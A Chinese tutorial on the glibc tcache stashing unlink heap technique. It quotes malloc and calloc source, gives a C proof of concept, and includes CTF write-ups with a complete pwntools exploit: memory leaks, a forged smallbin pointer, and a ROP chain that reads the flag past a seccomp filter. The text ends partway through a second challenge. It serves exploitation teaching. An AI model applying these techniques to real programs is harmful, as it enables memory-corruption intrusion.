Tcache Stashing Unlink Attack 原理详解

0x0 简介

攻击成效:向任意地址写堆地址分配任意地址

攻击前提:

  1. 能够控制 S m a l l   B i n   c h u n k \textcolor{orange}{Small\ Bin\ chunk} Small Bin chunkbk指针
  2. 程序可以越过Tachechunk。(calloc可以做到)
  3. 程序可以分配两种不同大小且属于 U n s o r t e d   B i n \textcolor{orange}{Unsorted\ Bin} Unsorted Binchunk

本章分析环境是 G l i b c 2.31 \textcolor{green}{本章分析环境是Glibc2.31} 本章分析环境是Glibc2.31

0x1 原理

c a l l o c \textcolor{cornflowerblue}{calloc} calloc函数是直接调用 _ i n t _ m a l l o c \textcolor{cornflowerblue}{\_int\_malloc} _int_malloc函数分配内存的,并且会清空内存

void *
__libc_calloc (size_t n, size_t elem_size)
{
    ...
    mem = _int_malloc (av, sz);
    p = mem2chunk (mem);

  /* Two optional cases in which clearing not necessary */
  if (chunk_is_mmapped (p))
  {
      if (__builtin_expect (perturb_byte, 0))
          return memset (mem, 0, sz);

      return mem;
  }
}

所以 c a l l o c \textcolor{cornflowerblue}{calloc} calloc可以越过 tcache取空闲内存。而 m a l l o c \textcolor{cornflowerblue}{malloc} malloc函数先是判断是否启用了 tcache,在启用的情况下优先从 tcache中取出空闲内存给用户

void *
__libc_malloc (size_t bytes)
{
    ...
#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes;
  if (!checked_request2size (bytes, &tbytes))
  {
      __set_errno (ENOMEM);
      return NULL;
  }
  size_t tc_idx = csize2tidx (tbytes);

  MAYBE_INIT_TCACHE ();

  DIAG_PUSH_NEEDS_COMMENT;
  if (tc_idx < mp_.tcache_bins
      && tcache
      && tcache->counts[tc_idx] > 0)
  {
      return tcache_get (tc_idx);
  }
  DIAG_POP_NEEDS_COMMENT;
#endif
  if (SINGLE_THREAD_P)
  {
     victim = _int_malloc (&main_arena, bytes);
     assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
     &main_arena == arena_for_chunk (mem2chunk (victim)));
     return victim;
  }
  ...
}

@line:13 函数根据用户请求的 bytes去计算所在 tcache的下标 tc_idx,如果 tc_idx不超过 64并且该索引下的节点个数大于 0就从 tcache中取空闲堆给用户。

再来看最核心的代码,与本章主角相关的代码块

static void *
_int_malloc (mstate av, size_t bytes)
{
  ...
  if (in_smallbin_range (nb))
  {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);
	 // victim是smallbin中最后一个块
      if ((victim = last (bin)) != bin)
      {
          bck = victim->bk;
          if (__glibc_unlikely (bck->fd != victim))
              malloc_printerr ("malloc(): smallbin double linked list corrupted");
          
          set_inuse_bit_at_offset (victim, nb);
          bin->bk = bck;
          bck->fd = bin;

          if (av != &main_arena)
              set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE //如果程序启用了Tcache
          // 如果smallbin中还有其他相同大小的块,则将他们存到tcache中
          size_t tc_idx = csize2tidx (nb);
          if (tcache && tc_idx < mp_.tcache_bins)
          {
              mchunkptr tc_victim;

              // 如果smallbin不为空,且tcache没满,就将smallbin中剩下的块复制进tcache去
              while (tcache->counts[tc_idx] < mp_.tcache_count
                     && (tc_victim = last (bin)) != bin)
              {
                  if (tc_victim != 0)
                  {
                      bck = tc_victim->bk;
                      set_inuse_bit_at_offset (tc_victim, nb);
                      if (av != &main_arena)
                          // 如果不是 main_arena,设置对应的标志
                          set_non_main_arena (tc_victim);
                      bin->bk = bck;
                      bck->fd = bin;
					// 将chunk放进tcache
                      tcache_put (tc_victim, tc_idx);
                  }
              }
          }
 #endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
      }
  }
        
}

这是系统在分配属于 smallbinchunk时的核心操作。这里面的提到的 fastbinunsortedbintcachesmallbinlargebin均是使用头插法插入节点的,所以最后释放的 chunk会最靠近链表头部。

@line:9 victim是smallbin中的最后一个块,如果最后一个块不等于bin,说明smallbin不为空。接着将victim从smallbin中摘除 @line:17,最后返回给用户使用的部分就是 v i c t i m + 0 x 10 \textcolor{orange}{victim+0x10} victim+0x10 @line:48。而在此之前,如果启用了tcache,系统会将smallbin中剩下的块 逆序 放到tcache中 @line:26

@line:34 tc_victimsmallbin摘除掉用户请求的块之后剩下节点的最后一个节点,@line:40tc_victimsmallbin中摘除,放入相应的 tcache链表中。 t c a c h e   s t a s h i n g   u n l i n k 利用关键就在于此。 \textcolor{green}{tcache\ stashing\ unlink利用关键就在于此。} tcache stashing unlink利用关键就在于此。

这种利用手法要求 smallbin中有两个 chunk,通过修改 s m a l l b i n [ 0 ] − > b k \textcolor{orange}{smallbin[0]->bk} smallbin[0]>bk为目标 c h u n k − 0 x 20 \textcolor{orange}{chunk-0x20} chunk0x20,并且目标块的 bk(+0x18) 指向的地址可写。这么一修改相当于是往之前的 smallbin的链表头部插入了一个节点,但是这个节点的 fd字段无效,如下图所示:

在这里插入图片描述

t a r g e t − 0 x 20 \textcolor{orange}{target-0x20} target0x20fd字段无效并不影响系统对 s m a l l b i n [ 0 ] \textcolor{orange}{smallbin[0]} smallbin[0]进行 unlink操作,因为 @line:42会将一个有效的指针赋值给 fd字段,只要保证 bk字段是有效的指针即可。

正如上图所示,我们的修改破坏了 smallbin链表的前后关系,@line:32的条件恒为真,如果 tcache不为空将会导致系统继续对 t a r g e t − 0 x 20 \textcolor{orange}{target-0x20} target0x20bk指针指向的块进行 unlink操作,而我们没法保证也不想去管后续块的 bk指针是否有效,所以极有可能就会异常。为了避免这种情况,我们通常用 smallbin中同样大小的 5个块占掉 tcache相应大小的 5个节点。当用户再次使用 c a l l o c \textcolor{cornflowerblue}{calloc} calloc分配 smallbin中的 c h u n k − > s i z e − 0 x 10 \textcolor{orange}{chunk->size-0x10} chunk>size0x10时,系统会把图中的 s m a l l b i n [ 1 ] + 0 x 10 \textcolor{orange}{smallbin[1]+0x10} smallbin[1]+0x10返回给用户,并将 s m a l l b i n [ 0 ] + 0 x 10 \textcolor{orange}{smallbin[0]+0x10} smallbin[0]+0x10 t a r g e t − 0 x 10 \textcolor{orange}{target-0x10} target0x10链入 tcache相应大小的链表中,并且 t a r g e t − 0 x 10 \textcolor{orange}{target-0x10} target0x10处在 tcache第一个节点位置。最后用户可以通过 m a l l o c \textcolor{cornflowerblue}{malloc} malloc一个大小 s i z e   =   t c a c h e [ 0 ] − > s i z e − 0 x 10 \textcolor{orange}{size\ =\ tcache[0]->size-0x10} size = tcache[0]>size0x10就可以得到块 t a r g e t − 0 x 10 \textcolor{orange}{target-0x10} target0x10

再来看看系统是如何将空闲的块放入 smallbin对应的链表中的。

for (;; )
{
  int iters = 0;
  // 如果unsortedbin不为空
  while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
	{
	  // victim是当前unsortedbin中的第一个块
	  bck = victim->bk;
	  size = chunksize (victim);
	  mchunkptr next = chunk_at_offset (victim, size);
	
	...

	  /* 将victim从unsortedbin中摘除 */
	  if (__glibc_unlikely (bck->fd != victim))
		malloc_printerr ("malloc(): corrupted unsorted chunks 3");
	  unsorted_chunks (av)->bk = bck;
	  bck->fd = unsorted_chunks (av);

	  /* 如果victim大小正好和用户请求的大小一致
		 ,则将victim+0x10返回给用户
	  */

	  if (size == nb)
		{
		  set_inuse_bit_at_offset (victim, size);
		  if (av != &main_arena)
			set_non_main_arena (victim);
			...
			check_malloced_chunk (av, victim, nb);
		  void *p = chunk2mem (victim);
		  alloc_perturb (p, bytes);
		  return p;
		}

	  /* place chunk in bin */

	  if (in_smallbin_range (size))
		{
		  victim_index = smallbin_index (size);
		  bck = bin_at (av, victim_index);
		  fwd = bck->fd;
		}
	  else
		{
		  victim_index = largebin_index (size);
		  bck = bin_at (av, victim_index);
		  fwd = bck->fd;
		  ...
		}
	  // 将victim放入相应的bin链表中
	  mark_bin (av, victim_index);
	  victim->bk = bck;
	  victim->fd = fwd;
	  fwd->bk = victim;
	  bck->fd = victim;
...

#define MAX_ITERS       10000
	  if (++iters >= MAX_ITERS)
		break;
	}
...
  /*
	 If a large request, scan through the chunks of current bin in
	 sorted order to find smallest that fits.  Use the skip list for this.
   */

  if (!in_smallbin_range (nb))
	{
	  bin = bin_at (av, idx);

	  /* 如果largebin不为空 */
	  if ((victim = first (bin)) != bin
	  && (unsigned long) chunksize_nomask (victim)
		>= (unsigned long) (nb))
		{
		  victim = victim->bk_nextsize;
		  while (((unsigned long) (size = chunksize (victim)) <
				  (unsigned long) (nb)))
			victim = victim->bk_nextsize;

		  /* Avoid removing the first entry for a size so that the skip
			 list does not have to be rerouted.  */
		  if (victim != last (bin)
	  && chunksize_nomask (victim)
		== chunksize_nomask (victim->fd))
			victim = victim->fd;

		  remainder_size = size - nb;
		  unlink_chunk (av, victim);

		  // 如果剩余大小小于0x1F,则将这剩余部分与用户请求的大小视作一个整体 
		  if (remainder_size < MINSIZE)
			{
			  set_inuse_bit_at_offset (victim, size);
			  if (av != &main_arena)
		set_non_main_arena (victim);
			}
		  /* 如果剩余大小大于等于0x1F,则进行切割,剩余部分将链入unsortedbin对应的链表中 */
		  else
			{
			  remainder = chunk_at_offset (victim, nb);
			  /* We cannot assume the unsorted list is empty and therefore
				 have to perform a complete insert here.  */
			  bck = unsorted_chunks (av);
			  fwd = bck->fd;
	  if (__glibc_unlikely (fwd->bk != bck))
		malloc_printerr ("malloc(): corrupted unsorted chunks");
			// 重新将剩下的块链入unsortedbin对应的链表中
			  remainder->bk = bck;
			  remainder->fd = fwd;
			  bck->fd = remainder;
			  fwd->bk = remainder;
			  if (!in_smallbin_range (remainder_size))
				{
				  remainder->fd_nextsize = NULL;
				  remainder->bk_nextsize = NULL;
				}
			  set_head (victim, nb | PREV_INUSE |
						(av != &main_arena ? NON_MAIN_ARENA : 0));
			  set_head (remainder, remainder_size | PREV_INUSE);
			  set_foot (remainder, remainder_size);
			}
		  check_malloced_chunk (av, victim, nb);
		  void *p = chunk2mem (victim);
		  alloc_perturb (p, bytes);
		  return p;
		}
	}

  ++idx;
  bin = bin_at (av, idx);
  block = idx2block (idx);
  map = av->binmap[block];
  bit = idx2bit (idx);

  for (;; )
	{
	...

	  /* Inspect the bin. It is likely to be non-empty */
	  victim = last (bin);

	  /*  If a false alarm (empty bin), clear the bit. */
	  // 如果largebin为空
	  if (victim == bin)
		{
		  ...
		}

	  else
		{
		  size = chunksize (victim);

		  /*  We know the first chunk in this bin is big enough to use. */
		  assert ((unsigned long) (size) >= (unsigned long) (nb));

		  remainder_size = size - nb;

		  /* unlink */
		  unlink_chunk (av, victim);

		  /* Exhaust */
		  if (remainder_size < MINSIZE)
			{
			  set_inuse_bit_at_offset (victim, size);
			  if (av != &main_arena)
		set_non_main_arena (victim);
			}

		  // 切割
		  else
			{
			  // remainder是largebin中切割剩下的块
			  remainder = chunk_at_offset (victim, nb);
			  bck = unsorted_chunks (av);
			  fwd = bck->fd;
	  if (__glibc_unlikely (fwd->bk != bck))
		malloc_printerr ("malloc(): corrupted unsorted chunks 2");
			  // 将remainder重新链入unsortedbin
			  remainder->bk = bck;
			  remainder->fd = fwd;
			  bck->fd = remainder;
			  fwd->bk = remainder;

			  if (in_smallbin_range (nb))
				av->last_remainder = remainder;
			  if (!in_smallbin_range (remainder_size))
				{
				  remainder->fd_nextsize = NULL;
				  remainder->bk_nextsize = NULL;
				}
			  // 给切割出来的块加上头部数据
			  set_head (victim, nb | PREV_INUSE |
						(av != &main_arena ? NON_MAIN_ARENA : 0));
			  // 剩余块也需要修改一下头部数据
			  set_head (remainder, remainder_size | PREV_INUSE);
			  set_foot (remainder, remainder_size);
			}
		  check_malloced_chunk (av, victim, nb);
		  // 将victim+0x10返回给用户
		  void *p = chunk2mem (victim);
		  alloc_perturb (p, bytes);
		  return p;
		}
	}
...
}

以上代码片段是系统根据用户请求内存分配大小对 unsortedbin的处理,有这么几种情况:

  • unsortedbin中有一个块(不妨记为 unsorted_chunk),其大小大于smallbin的上限(0x3ff),此时用户请求一个大小为size1的内存,size1小于 unsorted_chunk,系统就会将 unsorted_chunkunsortedbin中摘除 @line:14,放入largebin中**@line:52**。然后在 largebin中切割出合适的块 @line:173返回给用户 @line:203,并将剩下的块重新链入 unsortedbin对应的链表中 @line:182

  • unsortedbin中有一个块(不妨记为 unsorted_chunk),其大小小于smallbin的上限(0x3ff),此时用户请求一个大小为 size1的内存,size1等于unsortedbin_chunk,系统就会将 unsorted_chunkunsortedbin中摘除 @line:14,然后返回给用户 @line:31

  • unsortedbin中有一个块(不妨记为 unsorted_chunk),其大小小于smallbin的上限(0x3ff),此时用户请求一个大小为 size1的内存,size1大于unsortedbin_chunk,系统就会将 unsorted_chunkunsortedbin中摘除 @line:14,然后放到 smallbin相应的链表中 @line:52。接着查找 largebin中有没有合适的块可以分配给用户,找到了就切割给用户 @line:158,找不到就从top_chunk中切割给用户。

下面再来看 t c a c h e _ p u t \textcolor{cornflowerblue}{tcache\_put} tcache_put函数

static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx)
{
  // e = chunk + 0x10
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

该函数并没有任何检测,当Tcahce中有多余的空位时,就直接将空闲的 c h u n k + 0 x 10 \textcolor{orange}{chunk+0x10} chunk+0x10放进来。

0x2 概念验证

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>

char target[]="Can you modify me?";

int main()
{
    puts(" ========================================================================");
    puts("|           Wellcome to the Tcache stashing unlink attack!               |");
    puts(" ========================================================================");
    
    printf("\n[*] Info:\n");
    printf("[+] target addr = %p, data: %s\n",target,target);
    puts("--------------------------------------------------------------------------");
    printf("[*] Step1: Fill tcache with 5 chunk of size 0x30.\n");
    char* pad1 = (char*)malloc(0x20);
    printf("[+] pad1 addr: %p\n",pad1);
    //用5个0x30大小的chunk填充Tcache
    for(int i=0;i<5;i++)
    {
        free(pad1);
        // 清除key,绕过double free的检测
        *(size_t*)(pad1+8) = 0;
    }
    puts("--------------------------------------------------------------------------");
    printf("[*] Step2: Free chunk of size 0x460 into unsortedbin.\n");
    char* unsorted_chunk1 = (char*)calloc(0x450,1);
    printf("[+] unsorted_chunk1 addr: %p\n",unsorted_chunk1);
    char* pad2 = (char*)calloc(0x20,1);
    printf("[+] pad2 addr: %p\n",pad2);
    // 将unsorted_chunk1放入 unsortedbin
    free(unsorted_chunk1);
    puts("--------------------------------------------------------------------------");
    printf("[*] Step3: Cut a chunk of size 0x430 from unsortedbin.\n");
    // 从unsortedbin中切割0x450-0x30大小的chunk出来
    char* p1 = (char*)calloc(0x450-0x30,1);
    printf("[+] p1 addr: %p\n",p1);
    puts("--------------------------------------------------------------------------");
    printf("[*] Step4: System puts the remaining chunk of size 0x30 into smallbin.\n");
    // 将剩下的0x30大小的chunk放入smallbin
    char* p2 = (char*)calloc(0x60,1);
    printf("[+] p2 addr: %p\n",p2);
    puts("--------------------------------------------------------------------------");
    printf("[*] Step5: Repeat steps 2 through 4 above.\n");
    // 用同样的方法,再制作一个smallbin chunk
    char* unsorted_chunk2 = (char*)calloc(0x450,1);
    printf("[+] unsorted_chunk2 addr: %p\n",unsorted_chunk2);
    // 这里不能申请0x20大小的块,否则会从smallbin中取出
    char* pad3 = (char*)calloc(0x30,1);
    printf("[+] pad3 addr: %p\n",pad3);
    free(unsorted_chunk2);
    // 从unsortedbin中切割0x450-0x30大小的chunk出来
    char* p3 = (char*)calloc(0x450-0x30,1);
    printf("[+] p3 addr: %p\n",p3);
    // 将剩下的0x30大小的chunk放入smallbin
    char* p4 = (char*)calloc(0x60,1);
    printf("[+] p4 addr: %p\n",p4);
    puts("--------------------------------------------------------------------------");
    printf("[*] Step6: Modify smallbin[0]->bk = target-0x20, \nand trigger Tcache stashing unlink.\n");
    // 修改smmabin[0]->bk = target-0x20;
    *(size_t*)(pad3-0x28) = (size_t)(target-0x20);
    // 触发Tcache stashing unlink
    char* p7 = (char*)calloc(0x20,1);
    // 分配得到目标内存target-0x10
    char* p8 = (char*)malloc(0x20); 
    puts("--------------------------------------------------------------------------");
    printf("[*] Succ: Modify target data: hack!\n");
    strcpy(p8+0x10,"hack!");
    printf("[+] Look up: %s\n",target);
    return 0;
}

在这里插入图片描述

0x3 总结

综上,利用 T c a c h e   S t a s h i n g   U n l i n k \textcolor{orange}{Tcache\ Stashing\ Unlink} Tcache Stashing Unlink 的一般步骤:

  1. 如果是想通过 T c a c h e   S t a s h i n g   U n l i n k \textcolor{orange}{Tcache\ Stashing\ Unlink} Tcache Stashing Unlink任意地址(Target)分配,则先释放5size1chunk进入Tcache;如果只是想任意地址写glibc内存,则先要释放6size1chunk进入Tcache
  2. 将一个大小为 size2的块释放进 unsortedbin中。
  3. 使用函数 c a l l o c \textcolor{cornflowerblue}{calloc} calloc分配一个大小为 size3的块,要求 s i z e 3 < s i z e 2 ;   s i z e 2 − s i z e 3   =   s i z e 1 \textcolor{orange}{size3<size2;\ size2-size3\ =\ size1} size3<size2; size2size3 = size1
  4. 使用函数 c a l l o c \textcolor{cornflowerblue}{calloc} calloc分配一个大小为 size4的块,要求 s i z e 4 > s i z e 1 \textcolor{orange}{size4>size1} size4>size1。此时,系统就会将unsortedbin中剩下大小为size1的块链入 smallbin相应的链表中。
  5. 重复一次步骤 24,此时 smallbin中就有了两个相同大小的块,大概样子是 c h u n k 2 − > f d = > c h u n k 1 ; c h u n k 2 − > b k = > m a i n _ a r e n a _ n e a r \textcolor{orange}{chunk2->fd=>chunk1;chunk2->bk=>main\_arena\_near} chunk2>fd=>chunk1chunk2>bk=>main_arena_near
  6. 在步骤 5的基础上编辑chunk2使得 c h u n k 2 − > f d = > c h u n k 1 \textcolor{orange}{chunk2->fd=>chunk1} chunk2>fd=>chunk1保持不变,但是chunk2_bk指向你想要的内存地址( T a r g e t − 0 x 20 \textcolor{orange}{Target-0x20} Target0x20)。 注意: T a r g e t − 0 x 8 必须指向可写地址 \textcolor{green}{注意:Target-0x8必须指向可写地址} 注意:Target0x8必须指向可写地址
  7. 使用 c a l l o c ( ) \textcolor{cornflowerblue}{calloc()} calloc()分配 s i z e 3 − 0 x 10 \textcolor{orange}{size3-0x10} size30x10大小的 chunk就会触发 T c a c h e   S t a s h i n g   U n l i n k \textcolor{orange}{Tcache\ Stashing\ Unlink} Tcache Stashing Unlink
  8. 再使用 m a l l o c ( ) \textcolor{cornflowerblue}{malloc()} malloc()分配 s i z e 3 − 0 x 10 \textcolor{orange}{size3-0x10} size30x10大小的chunk就会得到目标地址 T a r g e t − 0 x 10 \textcolor{orange}{Target-0x10} Target0x10,或者目标地址 T a r g e t − 0 x 10 \textcolor{orange}{Target-0x10} Target0x10被写入了 glibc地址。

0x4 实战

例1.2020新春红包题3

[保护]:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

[分析]:

程序一共有4个可用操作:

  1. Get red packets。对应的伪代码:
if ( v4 == 1 )
      {
        if ( counts <= 0 )//counts=28
          Exit();
        Add(&v3);
        --counts;
      }
...
int __fastcall Add(char *a1)
{
  int v2; // [rsp+10h] [rbp-20h]
  int v3; // [rsp+14h] [rbp-1Ch]
  unsigned int v4; // [rsp+18h] [rbp-18h]
  signed int size; // [rsp+1Ch] [rbp-14h]

  printf("Please input the red packet idx: ");
  v4 = GetNum();
  if ( v4 > 0x10 )
    Exit();
  printf("How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ");
  v3 = GetNum();
  if ( v3 == 2 )
  {
    size = 0xF0;
  }
  else if ( v3 > 2 )
  {
    if ( v3 == 3 )
    {
      size = 0x300;
    }
    else
    {
      if ( v3 != 4 )
        goto LABEL_14;
      size = 0x400;
    }
  }
  else
  {
    if ( v3 != 1 )
    {
LABEL_14:
      size = 0;
      goto LABEL_15;
    }
    size = 16;
  }
LABEL_15:
  if ( size != 16 && size != 240 && size != 768 && size != 1024 )
    Exit();
  *&a1[16 * v4] = calloc(1uLL, size);
  *&a1[16 * v4 + 8] = size;
  printf("Please input content: ", size);
  v2 = read(0, *&a1[16 * v4], *&a1[16 * v4 + 8]);
  if ( v2 <= 0 )
    Exit();
  *(v2 - 1LL + *&a1[16 * v4]) = 0;
  return puts("Done!");
}
  • 只能申请0x100xf00x3000x400的块,并且该操作只能进行28次。
  1. Throw red packets。对应为伪代码:
int __fastcall Del(char *a1)
{
  unsigned int v2; // [rsp+1Ch] [rbp-4h]

  printf("Please input the red packet idx: ");
  v2 = GetNum();
  if ( v2 > 0x10 || !*&a1[16 * v2] )
    Exit();
  free(*&a1[16 * v2]);
  return puts("Done!");
}
  • 存在UAF漏洞。
  1. change red packets。对应伪代码:
int __fastcall Edit(__int64 a1)
{
  int v2; // [rsp+18h] [rbp-8h]
  unsigned int v3; // [rsp+1Ch] [rbp-4h]

  if ( qword_4010 <= 0 )
    Exit();
  --qword_4010;
  printf("Please input the red packet idx: ");
  v3 = GetNum();
  if ( v3 > 0x10 || !*(16LL * v3 + a1) )
    Exit();
  printf("Please input content: ");
  v2 = read(0, *(16LL * v3 + a1), *(16LL * v3 + a1 + 8));
  if ( v2 <= 0 )
    Exit();
  *(v2 - 1LL + *(16LL * v3 + a1)) = 0;
  return puts("Done!");
}
  • 存在UAF漏洞,可以修改释放后块的数据。
  1. watch red packets。对应伪代码:
int __fastcall Show(__int64 a1)
{
  unsigned int v2; // [rsp+1Ch] [rbp-4h]

  printf("Please input the red packet idx: ");
  v2 = GetNum();
  if ( v2 > 0x10 || !*(16LL * v2 + a1) )
    Exit();
  puts(*(16LL * v2 + a1));
  return puts("Done!");
}
  • 存在UAF,可以输出释放后块的数据。
  1. 后门函数,对应的选项666
ssize_t BackDoor()
{
  char buf; // [rsp+0h] [rbp-80h]

  if ( *(g_Mem + 256) <= 0x7F0000000000LL || *(g_Mem + 255) || *(g_Mem + 257) )
    Exit();
  puts("You get red packet!");
  printf("What do you want to say?");
  return read(0, &buf, 0x90uLL);                // 栈溢出
}
  • 老套路了,这一看就应该是最终要使用到的地方。因为程序在一开始的时候就设置了沙箱规则:
line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x07 0x00 0x40000000  if (A >= 0x40000000) goto 0011
 0004: 0x15 0x06 0x00 0x0000003b  if (A == execve) goto 0011
 0005: 0x15 0x00 0x04 0x00000001  if (A != write) goto 0010
 0006: 0x20 0x00 0x00 0x00000024  A = count >> 32 # write(fd, buf, count)
 0007: 0x15 0x00 0x02 0x00000000  if (A != 0x0) goto 0010
 0008: 0x20 0x00 0x00 0x00000020  A = count # write(fd, buf, count)
 0009: 0x15 0x01 0x00 0x00000010  if (A == 0x10) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL
  • 程序禁用了 e x e c v e ( ) \textcolor{cornflowerblue}{execve()} execve(),所以只能通过栈溢出构造Ropchain读取flag

代码审计到这也就差不多了,如何利用还得根据实际依赖的glibc版本,此题已说明版本为glibc2.29。在此版本下不能利用 h o u s e   o f   s t o r m \textcolor{orange}{house\ of\ storm} house of storm(不能unlink)和 u n s o r t b i n   a t t a c k \textcolor{orange}{unsortbin\ attack} unsortbin attack,并且分配的大小也都做了限制,所以也不能使用 f a s t b i n   a t t a c k \textcolor{orange}{fastbin\ attack} fastbin attack。回顾程序留下的后门,要想使用它,则必须满足if条件。又因为 glibc2.29引入了 Tcache机制,并且程序使用的是 c a l l o c ( ) \textcolor{cornflowerblue}{calloc()} calloc()分配内存,所以可以使用本节介绍的方法。

[利用]:

  1. 为了得到smallbin,先要把Tcache填满。smallbin范围 [ 0 x 20 , 0 x 3 f 0 ] \textcolor{orange}{[0x20,0x3f0]} [0x20,0x3f0],所以先分配再释放70x410chunk

    for i in range(7):
        Add(1,4,'0x410')
        Del(1)
    
  2. 接着还需要泄露堆和glibc的内存,所以再分配和释放70xf0大小的unsortbinchunk。首先使用60xf0chunk填充Tcache

    for i in range(6):
        Add(2,2,'0x100')
        Del(2)
    
  3. 泄露Heap

    Show(1)
    heap=u64(p.recv(6).ljust(8,'\0'))
    
  4. 泄露glibc内存

    Add(1,4,'0x410')#用于释放之后泄露glibc内存
    Add(2,3,'0x310')#防止与topchunk合并
    Del(1)
    Show(1)
    libc_addr=u64(p.recv(6).ljust(8,'\x00'))-0x1e4ca0
    
  5. 此时unsortbin中存入一个0x410大小的chunk,分配两个0x310大小的chunk,就能得到一个大小为0x100smallbin。按照此方法生成两个smallbin。

    Add(2,3,'0x310')
    Add(3,3,'0x310')
    
    Add(2,4,'0x410')
    Add(3,3,'0x310')
    Del(2)
    Add(3,3,'0x310')
    Add(3,3,'0x310')
    
  6. 伪造处在smallbin中的chunk2

    pay='\0'*0x300+p64(0)+p64(0x101)+p64(heap+0x37e0)+p64(heap+0x260+0x800-0x10)#注意:heap+0x260+0x800-0x10代表的地址是接下来要新分配的一块堆地址,并在该堆地址中布置Ropchain。
    Edit(2,pay)
    
  7. 最后就是正常的布置Ropchain环节了。

    Add(3,2,'Hack')
    
    pop_rsi=0x0000000000026f9e+libc_addr
    pop_rdi=0x0000000000026542+libc_addr
    pop_rdx=0x000000000012bda6+libc_addr
    leave=0x0000000000058373+libc_addr
    rop_addr=heap+0x4940+0x8
    flag_addr=rop_addr+0x100
    
    rop='a'*8
    rop+='flag'.ljust(8,'\0')
    rop+=p64(pop_rdi)+p64(rop_addr)+p64(pop_rsi)+p64(0)+p64(libc.sym['open']+libc_addr)
    rop+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x30)+p64(libc.sym['read']+libc_addr)
    rop+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x30)+p64(libc.sym['write']+libc_addr)
    
    Add(3,4,rop)
    
    p.sendlineafter("input: ",'666')
    p.recvline()
    p.sendline('a'*0x80+p64(rop_addr)+p64(leave))
    

[EXP]:

#coding=utf8
"""
# Author: brucy
# Created Time : Sat 05 Dec 2020 09:56:57 PM PST

# File Name: exp.py
# Description:

"""
from pwn import*

#context.log_level=1
p=process('./RedPacket_SoEasyPwn1')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

def Add(idx,sid,c):
    p.sendlineafter("input: ",'1')
    p.sendlineafter("idx: ",str(idx))
    p.sendlineafter("): ",str(sid))
    p.sendlineafter("content: ",c)

def Edit(idx,c):
   	p.sendlineafter("input: ",'3')
  	p.sendlineafter("idx: ",str(idx))
   	p.sendlineafter("content: ",c)

def Del(idx):
   	p.sendlineafter("input: ",'2')
   	p.sendlineafter("idx: ",str(idx))
    
def Show(idx):
  	p.sendlineafter("input: ",'4')
   	p.sendlineafter("idx: ",str(idx))

for i in range(7):#fill up Tcache wtih chunk which the size of 0x400.
    Add(0,4,'0x410')
    Del(0)

for i in range(6):
    Add(1,2,'0x100')
    Del(1)

Show(1)
heap=u64(p.recv(6).ljust(8,'\x00'))-0x32e0
success('heap:'+hex(heap))
Add(1,4,'0x410')
Add(2,3,'0x310')
Del(1)
Show(1)
libc_addr=u64(p.recv(6).ljust(8,'\x00'))-0x1e4ca0
success('libc_addr:'+hex(libc_addr))

Add(2,3,'0x310')
Add(3,3,'0x310')

Add(2,4,'0x410')
Add(3,3,'0x310')
Del(2)
Add(3,3,'0x310')
Add(3,3,'0x310')

pay='\0'*0x300+p64(0)+p64(0x101)+p64(heap+0x37e0)+p64(heap+0x260+0x800-0x10)
Edit(2,pay)

Add(3,2,'Hack')

pop_rsi=0x0000000000026f9e+libc_addr
pop_rdi=0x0000000000026542+libc_addr
pop_rdx=0x000000000012bda6+libc_addr
leave=0x0000000000058373+libc_addr
rop_addr=heap+0x4940+0x8
flag_addr=rop_addr+0x100

rop='a'*8
rop+='flag'.ljust(8,'\0')
rop+=p64(pop_rdi)+p64(rop_addr)+p64(pop_rsi)+p64(0)+p64(libc.sym['open']+libc_addr)
rop+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x30)+p64(libc.sym['read']+libc_addr)
rop+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x30)+p64(libc.sym['write']+libc_addr)

Add(3,4,rop)

p.sendlineafter("input: ",'666')
p.recvline()
p.sendline('a'*0x80+p64(rop_addr)+p64(leave))

p.interactive()

例2.2020高校战疫 two_chunk

[保护]:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

[Glibc版本]:

strings libc.so.6 |grep GLIB
...
GNU C Library (Ubuntu GLIBC 2.30-0ubuntu2) stable release version 2.30.
  • Glibc版本为2.30

[分析]:

程序一开始通过 m m a p ( ) \textcolor{cornflowerblue}{mmap()} mmap()映射一块0x2000可读可写的内存。

__int64 Init()
{
  __int64 g_Mem; // rax

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  Welcome();
  g_Mem = mmap(0x23333000, 0x2000uLL, 3, 34, -1, 0LL);
  buf = g_Mem;
  return g_Mem;
}

接着是让用户输入名字和信息

ssize_t Login()
{
  void *v0; // rsi

  printf("leave your name: ");
  v0 = buf;
  read(0, buf, 0x30uLL);
  printf("leave your message: ", v0);
  return read(0, buf + 48, 0x40uLL);
}

